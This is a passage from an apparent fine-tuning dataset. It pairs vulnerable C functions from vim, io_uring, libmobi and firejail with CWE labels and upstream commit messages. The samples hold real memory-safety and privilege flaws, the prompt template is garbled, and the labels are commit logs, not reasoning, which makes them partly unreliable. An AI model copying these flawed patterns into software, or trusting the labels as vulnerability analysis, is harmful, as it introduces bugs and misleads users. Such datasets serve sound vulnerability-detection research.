search_match_endcol = regmatch.endpos[0].col\n\t\t\t\t\t\t\t\t + len_change;\n\t\t\t highlight_match = TRUE;\n\n\t\t\t update_topline();\n\t\t\t validate_cursor();\n\t\t\t update_screen(SOME_VALID);\n\t\t\t highlight_match = FALSE;\n\t\t\t redraw_later(SOME_VALID);\n\n#ifdef FEAT_FOLDING\n\t\t\t curwin->w_p_fen = save_p_fen;\n#endif\n\t\t\t if (msg_row == Rows - 1)\n\t\t\t\tmsg_didout = FALSE;\t// avoid a scroll-up\n\t\t\t msg_starthere();\n\t\t\t i = msg_scroll;\n\t\t\t msg_scroll = 0;\t\t// truncate msg when\n\t\t\t\t\t\t\t// needed\n\t\t\t msg_no_more = TRUE;\n\t\t\t // write message same highlighting as for\n\t\t\t // wait_return\n\t\t\t smsg_attr(HL_ATTR(HLF_R),\n\t\t\t\t_(\"replace with %s (y/n/a/q/l/^E/^Y)?\"), sub);\n\t\t\t msg_no_more = FALSE;\n\t\t\t msg_scroll = i;\n\t\t\t showruler(TRUE);\n\t\t\t windgoto(msg_row, msg_col);\n\t\t\t RedrawingDisabled = temp;\n\n#ifdef USE_ON_FLY_SCROLL\n\t\t\t dont_scroll = FALSE; // allow scrolling here\n#endif\n\t\t\t ++no_mapping;\t// don't map this key\n\t\t\t ++allow_keys;\t// allow special keys\n\t\t\t typed = plain_vgetc();\n\t\t\t --allow_keys;\n\t\t\t --no_mapping;\n\n\t\t\t // clear the question\n\t\t\t msg_didout = FALSE;\t// don't scroll up\n\t\t\t msg_col = 0;\n\t\t\t gotocmdline(TRUE);\n\t\t\t p_lz = save_p_lz;\n\n\t\t\t // restore the line\n\t\t\t if (orig_line != NULL)\n\t\t\t\tml_replace(lnum, orig_line, FALSE);\n\t\t\t}\n\n\t\t\tneed_wait_return = FALSE; // no hit-return prompt\n\t\t\tif (typed == 'q' || typed == ESC || typed == Ctrl_C\n#ifdef UNIX\n\t\t\t\t|| typed == intr_char\n#endif\n\t\t\t\t)\n\t\t\t{\n\t\t\t got_quit = TRUE;\n\t\t\t break;\n\t\t\t}\n\t\t\tif (typed == 'n')\n\t\t\t break;\n\t\t\tif (typed == 'y')\n\t\t\t break;\n\t\t\tif (typed == 'l')\n\t\t\t{\n\t\t\t // last: replace and then stop\n\t\t\t subflags.do_all = FALSE;\n\t\t\t line2 = lnum;\n\t\t\t break;\n\t\t\t}\n\t\t\tif (typed == 'a')\n\t\t\t{\n\t\t\t subflags.do_ask = FALSE;\n\t\t\t break;\n\t\t\t}\n\t\t\tif (typed == Ctrl_E)\n\t\t\t scrollup_clamp();\n\t\t\telse if (typed == Ctrl_Y)\n\t\t\t scrolldown_clamp();\n\t\t }\n\t\t State = save_State;\n\t\t setmouse();\n\t\t if (vim_strchr(p_cpo, CPO_UNDO) != NULL)\n\t\t\t--no_u_sync;\n\n\t\t if (typed == 'n')\n\t\t {\n\t\t\t// For a multi-line match, put matchcol at the NUL at\n\t\t\t// the end of the line and set nmatch to one, so that\n\t\t\t// we continue looking for a match on the next line.\n\t\t\t// Avoids that \":%s/\\nB\\@=//gc\" and \":%s/\\n/,\\r/gc\"\n\t\t\t// get stuck when pressing 'n'.\n\t\t\tif (nmatch > 1)\n\t\t\t{\n\t\t\t matchcol = (colnr_T)STRLEN(sub_firstline);\n\t\t\t skip_match = TRUE;\n\t\t\t}\n\t\t\tgoto skip;\n\t\t }\n\t\t if (got_quit)\n\t\t\tgoto skip;\n\t\t}\n\n\t\t// Move the cursor to the start of the match, so that we can\n\t\t// use \"\\=col(\".\").\n\t\tcurwin->w_cursor.col = regmatch.startpos[0].col;\n\n\t\t/*\n\t\t * 3. substitute the string.\n\t\t */\n#ifdef FEAT_EVAL\n\t\tsave_ma = curbuf->b_p_ma;\n\t\tif (subflags.do_count)\n\t\t{\n\t\t // prevent accidentally changing the buffer by a function\n\t\t curbuf->b_p_ma = FALSE;\n\t\t sandbox++;\n\t\t}\n\t\t// Save flags for recursion. They can change for e.g.\n\t\t// :s/^/\\=execute(\"s#^##gn\")\n\t\tsubflags_save = subflags;\n#endif\n\t\t// get length of substitution part\n\t\tsublen = vim_regsub_multi(®match,\n\t\t\t\t sub_firstlnum - regmatch.startpos[0].lnum,\n\t\t\t sub, sub_firstline, FALSE, magic_isset(), TRUE);\n#ifdef FEAT_EVAL\n\t\t// If getting the substitute string caused an error, don't do\n\t\t// the replacement.\n\t\t// Don't keep flags set by a recursive call.\n\t\tsubflags = subflags_save;\n\t\tif (aborting() || subflags.do_count)\n\t\t{\n\t\t curbuf->b_p_ma = save_ma;\n\t\t if (sandbox > 0)\n\t\t\tsandbox--;\n\t\t goto skip;\n\t\t}\n#endif\n\n\t\t// When the match included the \"$\" of the last line it may\n\t\t// go beyond the last line of the buffer.\n\t\tif (nmatch > curbuf->b_ml.ml_line_count - sub_firstlnum + 1)\n\t\t{\n\t\t nmatch = curbuf->b_ml.ml_line_count - sub_firstlnum + 1;\n\t\t skip_match = TRUE;\n\t\t}\n\n\t\t// Need room for:\n\t\t// - result so far in new_start (not for first sub in line)\n\t\t// - original text up to match\n\t\t// - length of substituted part\n\t\t// - original text after match\n\t\t// Adjust text properties here, since we have all information\n\t\t// needed.\n\t\tif (nmatch == 1)\n\t\t{\n\t\t p1 = sub_firstline;\n#ifdef FEAT_PROP_POPUP\n\t\t if (curbuf->b_has_textprop)\n\t\t {\n\t\t\tint bytes_added = sublen - 1 - (regmatch.endpos[0].col\n\t\t\t\t\t\t - regmatch.startpos[0].col);\n\n\t\t\t// When text properties are changed, need to save for\n\t\t\t// undo first, unless done already.\n\t\t\tif (adjust_prop_columns(lnum,\n\t\t\t\t\ttotal_added + regmatch.startpos[0].col,\n\t\t\t\t\t\t bytes_added, apc_flags))\n\t\t\t apc_flags &= ~APC_SAVE_FOR_UNDO;\n\t\t\t// Offset for column byte number of the text property\n\t\t\t// in the resulting buffer afterwards.\n\t\t\ttotal_added += bytes_added;\n\t\t }\n#endif\n\t\t}\n\t\telse\n\t\t{\n\t\t p1 = ml_get(sub_firstlnum + nmatch - 1);\n\t\t nmatch_tl += nmatch - 1;\n\t\t}\n\t\tcopy_len = regmatch.startpos[0].col - copycol;\n\t\tneeded_len = copy_len + ((unsigned)STRLEN(p1)\n\t\t\t\t - regmatch.endpos[0].col) + sublen + 1;\n\t\tif (new_start == NULL)\n\t\t{\n\t\t /*\n\t\t * Get some space for a temporary buffer to do the\n\t\t * substitution into (and some extra space to avoid\n\t\t * too many calls to alloc()/free()).\n\t\t */\n\t\t new_start_len = needed_len + 50;\n\t\t if ((new_start = alloc(new_start_len)) == NULL)\n\t\t\tgoto outofmem;\n\t\t *new_start = NUL;\n\t\t new_end = new_start;\n\t\t}\n\t\telse\n\t\t{\n\t\t /*\n\t\t * Check if the temporary buffer is long enough to do the\n\t\t * substitution into. If not, make it larger (with a bit\n\t\t * extra to avoid too many calls to alloc()/free()).\n\t\t */\n\t\t len = (unsigned)STRLEN(new_start);\n\t\t needed_len += len;\n\t\t if (needed_len > (int)new_start_len)\n\t\t {\n\t\t\tnew_start_len = needed_len + 50;\n\t\t\tif ((p1 = alloc(new_start_len)) == NULL)\n\t\t\t{\n\t\t\t vim_free(new_start);\n\t\t\t goto outofmem;\n\t\t\t}\n\t\t\tmch_memmove(p1, new_start, (size_t)(len + 1));\n\t\t\tvim_free(new_start);\n\t\t\tnew_start = p1;\n\t\t }\n\t\t new_end = new_start + len;\n\t\t}\n\n\t\t/*\n\t\t * copy the text up to the part that matched\n\t\t */\n\t\tmch_memmove(new_end, sub_firstline + copycol, (size_t)copy_len);\n\t\tnew_end += copy_len;\n\n\t\t(void)vim_regsub_multi(®match,\n\t\t\t\t sub_firstlnum - regmatch.startpos[0].lnum,\n\t\t\t\t sub, new_end, TRUE, magic_isset(), TRUE);\n\t\tsub_nsubs++;\n\t\tdid_sub = TRUE;\n\n\t\t// Move the cursor to the start of the line, to avoid that it\n\t\t// is beyond the end of the line after the substitution.\n\t\tcurwin->w_cursor.col = 0;\n\n\t\t// For a multi-line match, make a copy of the last matched\n\t\t// line and continue in that one.\n\t\tif (nmatch > 1)\n\t\t{\n\t\t sub_firstlnum += nmatch - 1;\n\t\t vim_free(sub_firstline);\n\t\t sub_firstline = vim_strsave(ml_get(sub_firstlnum));\n\t\t // When going beyond the last line, stop substituting.\n\t\t if (sub_firstlnum <= line2)\n\t\t\tdo_again = TRUE;\n\t\t else\n\t\t\tsubflags.do_all = FALSE;\n\t\t}\n\n\t\t// Remember next character to be copied.\n\t\tcopycol = regmatch.endpos[0].col;\n\n\t\tif (skip_match)\n\t\t{\n\t\t // Already hit end of the buffer, sub_firstlnum is one\n\t\t // less than what it ought to be.\n\t\t vim_free(sub_firstline);\n\t\t sub_firstline = vim_strsave((char_u *)\"\");\n\t\t copycol = 0;\n\t\t}\n\n\t\t/*\n\t\t * Now the trick is to replace CTRL-M chars with a real line\n\t\t * break. This would make it impossible to insert a CTRL-M in\n\t\t * the text. The line break can be avoided by preceding the\n\t\t * CTRL-M with a backslash. To be able to insert a backslash,\n\t\t * they must be doubled in the string and are halved here.\n\t\t * That is Vi compatible.\n\t\t */\n\t\tfor (p1 = new_end; *p1; ++p1)\n\t\t{\n\t\t if (p1[0] == '\\\\' && p1[1] != NUL) // remove backslash\n\t\t {\n\t\t\tSTRMOVE(p1, p1 + 1);\n#ifdef FEAT_PROP_POPUP\n\t\t\tif (curbuf->b_has_textprop)\n\t\t\t{\n\t\t\t // When text properties are changed, need to save\n\t\t\t // for undo first, unless done already.\n\t\t\t if (adjust_prop_columns(lnum,\n\t\t\t\t\t(colnr_T)(p1 - new_start), -1,\n\t\t\t\t\tapc_flags))\n\t\t\t\tapc_flags &= ~APC_SAVE_FOR_UNDO;\n\t\t\t}\n#endif\n\t\t }\n\t\t else if (*p1 == CAR)\n\t\t {\n\t\t\tif (u_inssub(lnum) == OK) // prepare for undo\n\t\t\t{\n\t\t\t colnr_T\tplen = (colnr_T)(p1 - new_start + 1);\n\n\t\t\t *p1 = NUL;\t\t // truncate up to the CR\n\t\t\t ml_append(lnum - 1, new_start, plen, FALSE);\n\t\t\t mark_adjust(lnum + 1, (linenr_T)MAXLNUM, 1L, 0L);\n\t\t\t if (subflags.do_ask)\n\t\t\t\tappended_lines(lnum - 1, 1L);\n\t\t\t else\n\t\t\t {\n\t\t\t\tif (first_line == 0)\n\t\t\t\t first_line = lnum;\n\t\t\t\tlast_line = lnum + 1;\n\t\t\t }\n#ifdef FEAT_PROP_POPUP\n\t\t\t adjust_props_for_split(lnum + 1, lnum, plen, 1);\n#endif\n\t\t\t // all line numbers increase\n\t\t\t ++sub_firstlnum;\n\t\t\t ++lnum;\n\t\t\t ++line2;\n\t\t\t // move the cursor to the new line, like Vi\n\t\t\t ++curwin->w_cursor.lnum;\n\t\t\t // copy the rest\n\t\t\t STRMOVE(new_start, p1 + 1);\n\t\t\t p1 = new_start - 1;\n\t\t\t}\n\t\t }\n\t\t else if (has_mbyte)\n\t\t\tp1 += (*mb_ptr2len)(p1) - 1;\n\t\t}\n\n\t\t/*\n\t\t * 4. If do_all is set, find next match.\n\t\t * Prevent endless loop with patterns that match empty\n\t\t * strings, e.g. :s/$/pat/g or :s/[a-z]* /(&)/g.\n\t\t * But \":s/\\n/#/\" is OK.\n\t\t */\nskip:\n\t\t// We already know that we did the last subst when we are at\n\t\t// the end of the line, except that a pattern like\n\t\t// \"bar\\|\\nfoo\" may match at the NUL. \"lnum\" can be below\n\t\t// \"line2\" when there is a \\zs in the pattern after a line\n\t\t// break.\n\t\tlastone = (skip_match\n\t\t\t|| got_int\n\t\t\t|| got_quit\n\t\t\t|| lnum > line2\n\t\t\t|| !(subflags.do_all || do_again)\n\t\t\t|| (sub_firstline[matchcol] == NUL && nmatch <= 1\n\t\t\t\t\t && !re_multiline(regmatch.regprog)));\n\t\tnmatch = -1;\n\n\t\t/*\n\t\t * Replace the line in the buffer when needed. This is\n\t\t * skipped when there are more matches.\n\t\t * The check for nmatch_tl is needed for when multi-line\n\t\t * matching must replace the lines before trying to do another\n\t\t * match, otherwise \"\\@<=\" won't work.\n\t\t * When the match starts below where we start searching also\n\t\t * need to replace the line first (using \\zs after \\n).\n\t\t */\n\t\tif (lastone\n\t\t\t|| nmatch_tl > 0\n\t\t\t|| (nmatch = vim_regexec_multi(®match, curwin,\n\t\t\t\t\t\t\tcurbuf, sub_firstlnum,\n\t\t\t\t\t\t matchcol, NULL, NULL)) == 0\n\t\t\t|| regmatch.startpos[0].lnum > 0)\n\t\t{\n\t\t if (new_start != NULL)\n\t\t {\n\t\t\t/*\n\t\t\t * Copy the rest of the line, that didn't match.\n\t\t\t * \"matchcol\" has to be adjusted, we use the end of\n\t\t\t * the line as reference, because the substitute may\n\t\t\t * have changed the number of characters. Same for\n\t\t\t * \"prev_matchcol\".\n\t\t\t */\n\t\t\tSTRCAT(new_start, sub_firstline + copycol);\n\t\t\tmatchcol = (colnr_T)STRLEN(sub_firstline) - matchcol;\n\t\t\tprev_matchcol = (colnr_T)STRLEN(sub_firstline)\n\t\t\t\t\t\t\t - prev_matchcol;\n\n\t\t\tif (u_savesub(lnum) != OK)\n\t\t\t break;\n\t\t\tml_replace(lnum, new_start, TRUE);\n\n\t\t\tif (nmatch_tl > 0)\n\t\t\t{\n\t\t\t /*\n\t\t\t * Matched lines have now been substituted and are\n\t\t\t * useless, delete them. The part after the match\n\t\t\t * has been appended to new_start, we don't need\n\t\t\t * it in the buffer.\n\t\t\t */\n\t\t\t ++lnum;\n\t\t\t if (u_savedel(lnum, nmatch_tl) != OK)\n\t\t\t\tbreak;\n\t\t\t for (i = 0; i < nmatch_tl; ++i)\n\t\t\t\tml_delete(lnum);\n\t\t\t mark_adjust(lnum, lnum + nmatch_tl - 1,\n\t\t\t\t\t\t (long)MAXLNUM, -nmatch_tl);\n\t\t\t if (subflags.do_ask)\n\t\t\t\tdeleted_lines(lnum, nmatch_tl);\n\t\t\t --lnum;\n\t\t\t line2 -= nmatch_tl; // nr of lines decreases\n\t\t\t nmatch_tl = 0;\n\t\t\t}\n\n\t\t\t// When asking, undo is saved each time, must also set\n\t\t\t// changed flag each time.\n\t\t\tif (subflags.do_ask)\n\t\t\t changed_bytes(lnum, 0);\n\t\t\telse\n\t\t\t{\n\t\t\t if (first_line == 0)\n\t\t\t\tfirst_line = lnum;\n\t\t\t last_line = lnum + 1;\n\t\t\t}\n\n\t\t\tsub_firstlnum = lnum;\n\t\t\tvim_free(sub_firstline); // free the temp buffer\n\t\t\tsub_firstline = new_start;\n\t\t\tnew_start = NULL;\n\t\t\tmatchcol = (colnr_T)STRLEN(sub_firstline) - matchcol;\n\t\t\tprev_matchcol = (colnr_T)STRLEN(sub_firstline)\n\t\t\t\t\t\t\t - prev_matchcol;\n\t\t\tcopycol = 0;\n\t\t }\n\t\t if (nmatch == -1 && !lastone)\n\t\t\tnmatch = vim_regexec_multi(®match, curwin, curbuf,\n\t\t\t\t\t sub_firstlnum, matchcol, NULL, NULL);\n\n\t\t /*\n\t\t * 5. break if there isn't another match in this line\n\t\t */\n\t\t if (nmatch <= 0)\n\t\t {\n\t\t\t// If the match found didn't start where we were\n\t\t\t// searching, do the next search in the line where we\n\t\t\t// found the match.\n\t\t\tif (nmatch == -1)\n\t\t\t lnum -= regmatch.startpos[0].lnum;\n\t\t\tbreak;\n\t\t }\n\t\t}\n\n\t\tline_breakcheck();\n\t }\n\n\t if (did_sub)\n\t\t++sub_nlines;\n\t vim_free(new_start);\t// for when substitute was cancelled\n\t VIM_CLEAR(sub_firstline);\t// free the copy of the original line\n\t}\n\n\tline_breakcheck();\n }\n\n if (first_line != 0)\n {\n\t// Need to subtract the number of added lines from \"last_line\" to get\n\t// the line number before the change (same as adding the number of\n\t// deleted lines).\n\ti = curbuf->b_ml.ml_line_count - old_line_count;\n\tchanged_lines(first_line, 0, last_line - i, i);\n }\n\noutofmem:\n vim_free(sub_firstline); // may have to free allocated copy of the line\n\n // \":s/pat//n\" doesn't move the cursor\n if (subflags.do_count)\n\tcurwin->w_cursor = old_cursor;\n\n if (sub_nsubs > start_nsubs)\n {\n\tif ((cmdmod.cmod_flags & CMOD_LOCKMARKS) == 0)\n\t{\n\t // Set the '[ and '] marks.\n\t curbuf->b_op_start.lnum = eap->line1;\n\t curbuf->b_op_end.lnum = line2;\n\t curbuf->b_op_start.col = curbuf->b_op_end.col = 0;\n\t}\n\n\tif (!global_busy)\n\t{\n\t // when interactive leave cursor on the match\n\t if (!subflags.do_ask)\n\t {\n\t\tif (endcolumn)\n\t\t coladvance((colnr_T)MAXCOL);\n\t\telse\n\t\t beginline(BL_WHITE | BL_FIX);\n\t }\n\t if (!do_sub_msg(subflags.do_count) && subflags.do_ask)\n\t\tmsg(\"\");\n\t}\n\telse\n\t global_need_beginline = TRUE;\n\tif (subflags.do_print)\n\t print_line(curwin->w_cursor.lnum,\n\t\t\t\t\t subflags.do_number, subflags.do_list);\n }\n else if (!global_busy)\n {\n\tif (got_int)\t\t// interrupted\n\t emsg(_(e_interrupted));\n\telse if (got_match)\t// did find something but nothing substituted\n\t msg(\"\");\n\telse if (subflags.do_error)\t// nothing found\n\t semsg(_(e_pattern_not_found_str), get_search_pat());\n }\n\n#ifdef FEAT_FOLDING\n if (subflags.do_ask && hasAnyFolding(curwin))\n\t// Cursor position may require updating\n\tchanged_window_setting();\n#endif\n\n vim_regfree(regmatch.regprog);\n vim_free(sub_copy);\n\n // Restore the flag values, they can be used for \":&&\".\n subflags.do_all = save_do_all;\n subflags.do_ask = save_do_ask;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'patch 8.2.4977: memory access error when substitute expression changes window\n\nProblem: Memory access error when substitute expression changes window.\nSolution: Disallow changing window in substitute expression.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: op_format(\n oparg_T\t*oap,\n int\t\tkeep_cursor)\t\t// keep cursor on same text char\n{\n long\told_line_count = curbuf->b_ml.ml_line_count;\n\n // Place the cursor where the \"gq\" or \"gw\" command was given, so that \"u\"\n // can put it back there.\n curwin->w_cursor = oap->cursor_start;\n\n if (u_save((linenr_T)(oap->start.lnum - 1),\n\t\t\t\t (linenr_T)(oap->end.lnum + 1)) == FAIL)\n\treturn;\n curwin->w_cursor = oap->start;\n\n if (oap->is_VIsual)\n\t// When there is no change: need to remove the Visual selection\n\tredraw_curbuf_later(INVERTED);\n\n if ((cmdmod.cmod_flags & CMOD_LOCKMARKS) == 0)\n\t// Set '[ mark at the start of the formatted area\n\tcurbuf->b_op_start = oap->start;\n\n // For \"gw\" remember the cursor position and put it back below (adjusted\n // for joined and split lines).\n if (keep_cursor)\n\tsaved_cursor = oap->cursor_start;\n\n format_lines(oap->line_count, keep_cursor);\n\n // Leave the cursor at the first non-blank of the last formatted line.\n // If the cursor was moved one line back (e.g. with \"Q}\") go to the next\n // line, so \".\" will do the next lines.\n if (oap->end_adjusted && curwin->w_cursor.lnum < curbuf->b_ml.ml_line_count)\n\t++curwin->w_cursor.lnum;\n beginline(BL_WHITE | BL_FIX);\n old_line_count = curbuf->b_ml.ml_line_count - old_line_count;\n msgmore(old_line_count);\n\n if ((cmdmod.cmod_flags & CMOD_LOCKMARKS) == 0)\n\t// put '] mark on the end of the formatted area\n\tcurbuf->b_op_end = curwin->w_cursor;\n\n if (keep_cursor)\n {\n\tcurwin->w_cursor = saved_cursor;\n\tsaved_cursor.lnum = 0;\n }\n\n if (oap->is_VIsual)\n {\n\twin_T\t*wp;\n\n\tFOR_ALL_WINDOWS(wp)\n\t{\n\t if (wp->w_old_cursor_lnum != 0)\n\t {\n\t\t// When lines have been inserted or deleted, adjust the end of\n\t\t// the Visual area to be redrawn.\n\t\tif (wp->w_old_cursor_lnum > wp->w_old_visual_lnum)\n\t\t wp->w_old_cursor_lnum += old_line_count;\n\t\telse\n\t\t wp->w_old_visual_lnum += old_line_count;\n\t }\n\t}\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'patch 8.2.5013: after text formatting cursor may be in an invalid position\n\nProblem: After text formatting the cursor may be in an invalid position.\nSolution: Correct the cursor position after formatting.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool io_match_task_safe(struct io_kiocb *head, struct task_struct *task,\n\t\t\t bool cancel_all)\n{\n\tif (task && head->task != task)\n\t\treturn false;\n\treturn cancel_all;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'io_uring: reinstate the inflight tracking\n\nAfter some debugging, it was realized that we really do still need the\nold inflight tracking for any file type that has io_uring_fops assigned.\nIf we don't, then trivial circular references will mean that we never get\nthe ctx cleaned up and hence it'll leak.\n\nJust bring back the inflight tracking, which then also means we can\neliminate the conditional dropping of the file when task_work is queued.\n\nFixes: d5361233e9ab (\"io_uring: drop the old style inflight file tracking\")\nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nstatic struct file *io_file_get_normal(struct io_kiocb *req, int fd)\n{\n\tstruct file *file = fget(fd);\n\n\ttrace_io_uring_file_get(req->ctx, req, req->cqe.user_data, fd);\n\n\t/* we don't allow fixed io_uring files */\n\tif (file && file->f_op == &io_uring_fops)\n\t\treq->flags |= REQ_F_INFLIGHT;\n\treturn file; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'io_uring: reinstate the inflight tracking\n\nAfter some debugging, it was realized that we really do still need the\nold inflight tracking for any file type that has io_uring_fops assigned.\nIf we don't, then trivial circular references will mean that we never get\nthe ctx cleaned up and hence it'll leak.\n\nJust bring back the inflight tracking, which then also means we can\neliminate the conditional dropping of the file when task_work is queued.\n\nFixes: d5361233e9ab (\"io_uring: drop the old style inflight file tracking\")\nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MOBI_RET mobi_parse_index_entry(MOBIIndx *indx, const MOBIIdxt idxt, const MOBITagx *tagx, const MOBIOrdt *ordt, MOBIBuffer *buf, const size_t curr_number) {\n if (indx == NULL) {\n debug_print(\"%s\", \"INDX structure not initialized\\n\");\n return MOBI_INIT_FAILED;\n }\n const size_t entry_offset = indx->entries_count;\n const size_t entry_length = idxt.offsets[curr_number + 1] - idxt.offsets[curr_number];\n mobi_buffer_setpos(buf, idxt.offsets[curr_number]);\n size_t entry_number = curr_number + entry_offset;\n if (entry_number >= indx->total_entries_count) {\n debug_print(\"Entry number beyond array: %zu\\n\", entry_number);\n return MOBI_DATA_CORRUPT;\n }\n /* save original record maxlen */\n const size_t buf_maxlen = buf->maxlen;\n if (buf->offset + entry_length >= buf_maxlen) {\n debug_print(\"Entry length too long: %zu\\n\", entry_length);\n return MOBI_DATA_CORRUPT;\n }\n buf->maxlen = buf->offset + entry_length;\n size_t label_length = mobi_buffer_get8(buf);\n if (label_length > entry_length) {\n debug_print(\"Label length too long: %zu\\n\", label_length);\n return MOBI_DATA_CORRUPT;\n }\n char text[INDX_LABEL_SIZEMAX];\n /* FIXME: what is ORDT1 for? */\n if (ordt->ordt2) {\n label_length = mobi_getstring_ordt(ordt, buf, (unsigned char*) text, label_length);\n } else {\n label_length = mobi_indx_get_label((unsigned char*) text, buf, label_length, indx->ligt_entries_count);\n }\n indx->entries[entry_number].label = malloc(label_length + 1);\n if (indx->entries[entry_number].label == NULL) {\n debug_print(\"Memory allocation failed (%zu bytes)\\n\", label_length);\n return MOBI_MALLOC_FAILED;\n }\n strncpy(indx->entries[entry_number].label, text, label_length + 1);\n //debug_print(\"tag label[%zu]: %s\\n\", entry_number, indx->entries[entry_number].label);\n unsigned char *control_bytes;\n control_bytes = buf->data + buf->offset;\n mobi_buffer_seek(buf, (int) tagx->control_byte_count);\n indx->entries[entry_number].tags_count = 0;\n indx->entries[entry_number].tags = NULL;\n if (tagx->tags_count > 0) {\n typedef struct {\n uint8_t tag;\n uint8_t tag_value_count;\n uint32_t value_count;\n uint32_t value_bytes;\n } MOBIPtagx;\n MOBIPtagx *ptagx = malloc(tagx->tags_count * sizeof(MOBIPtagx));\n if (ptagx == NULL) {\n debug_print(\"Memory allocation failed (%zu bytes)\\n\", tagx->tags_count * sizeof(MOBIPtagx));\n return MOBI_MALLOC_FAILED;\n }\n uint32_t ptagx_count = 0;\n size_t len;\n size_t i = 0;\n while (i < tagx->tags_count) {\n if (tagx->tags[i].control_byte == 1) {\n control_bytes++;\n i++;\n continue;\n }\n uint32_t value = control_bytes[0] & tagx->tags[i].bitmask;\n if (value != 0) {\n /* FIXME: is it safe to use MOBI_NOTSET? */\n uint32_t value_count = MOBI_NOTSET;\n uint32_t value_bytes = MOBI_NOTSET;\n /* all bits of masked value are set */\n if (value == tagx->tags[i].bitmask) {\n /* more than 1 bit set */\n if (mobi_bitcount(tagx->tags[i].bitmask) > 1) {\n /* read value bytes from entry */\n len = 0;\n value_bytes = mobi_buffer_get_varlen(buf, &len);\n } else {\n value_count = 1;\n }\n } else {\n uint8_t mask = tagx->tags[i].bitmask;\n while ((mask & 1) == 0) {\n mask >>= 1;\n value >>= 1;\n }\n value_count = value;\n }\n ptagx[ptagx_count].tag = tagx->tags[i].tag;\n ptagx[ptagx_count].tag_value_count = tagx->tags[i].values_count;\n ptagx[ptagx_count].value_count = value_count;\n ptagx[ptagx_count].value_bytes = value_bytes;\n ptagx_count++;\n }\n i++;\n }\n indx->entries[entry_number].tags = malloc(tagx->tags_count * sizeof(MOBIIndexTag));\n if (indx->entries[entry_number].tags == NULL) {\n debug_print(\"Memory allocation failed (%zu bytes)\\n\", tagx->tags_count * sizeof(MOBIIndexTag));\n free(ptagx);\n return MOBI_MALLOC_FAILED;\n }\n i = 0;\n while (i < ptagx_count) {\n uint32_t tagvalues_count = 0;\n /* FIXME: is it safe to use MOBI_NOTSET? */\n /* value count is set */\n uint32_t tagvalues[INDX_TAGVALUES_MAX];\n if (ptagx[i].value_count != MOBI_NOTSET) {\n size_t count = ptagx[i].value_count * ptagx[i].tag_value_count;\n while (count-- && tagvalues_count < INDX_TAGVALUES_MAX) {\n len = 0;\n const uint32_t value_bytes = mobi_buffer_get_varlen(buf, &len);\n tagvalues[tagvalues_count++] = value_bytes;\n }\n /* value count is not set */\n } else {\n /* read value_bytes bytes */\n len = 0;\n while (len < ptagx[i].value_bytes && tagvalues_count < INDX_TAGVALUES_MAX) {\n const uint32_t value_bytes = mobi_buffer_get_varlen(buf, &len);\n tagvalues[tagvalues_count++] = value_bytes;\n }\n }\n if (tagvalues_count) {\n const size_t arr_size = tagvalues_count * sizeof(*indx->entries[entry_number].tags[i].tagvalues);\n indx->entries[entry_number].tags[i].tagvalues = malloc(arr_size);\n if (indx->entries[entry_number].tags[i].tagvalues == NULL) {\n debug_print(\"Memory allocation failed (%zu bytes)\\n\", arr_size);\n free(ptagx);\n return MOBI_MALLOC_FAILED;\n }\n memcpy(indx->entries[entry_number].tags[i].tagvalues, tagvalues, arr_size);\n } else {\n indx->entries[entry_number].tags[i].tagvalues = NULL;\n }\n indx->entries[entry_number].tags[i].tagid = ptagx[i].tag;\n indx->entries[entry_number].tags[i].tagvalues_count = tagvalues_count;\n indx->entries[entry_number].tags_count++;\n i++;\n }\n free(ptagx);\n }\n /* restore buffer maxlen */\n buf->maxlen = buf_maxlen;\n return MOBI_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix: index entry label not being zero-terminated with corrupt input'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int open_shell(void) {\n\tEUID_ASSERT();\n\tassert(cfg.shell);\n\n\tif (arg_debug)\n\t\tprintf(\"Opening shell %s\\n\", cfg.shell);\n\t// file descriptor will leak if not opened with O_CLOEXEC !!\n\tint fd = open(cfg.shell, O_PATH|O_CLOEXEC);\n\tif (fd == -1) {\n\t\tfprintf(stderr, \"Error: cannot open shell %s\\n\", cfg.shell);\n\t\texit(1);\n\t}\n\n\t// pass file descriptor through to the final fexecve\n\tif (asprintf(&cfg.keep_fd, \"%s,%d\", cfg.keep_fd ? cfg.keep_fd : \"\", fd) == -1)\n\t\terrExit(\"asprintf\");\n\n\treturn fd;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269', 'CWE-94'], 'message': 'fixing CVE-2022-31214'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void preproc_build_firejail_dir(void) {\n\tstruct stat s;\n\n\t// CentOS 6 doesn't have /run directory\n\tif (stat(RUN_FIREJAIL_BASEDIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_BASEDIR, 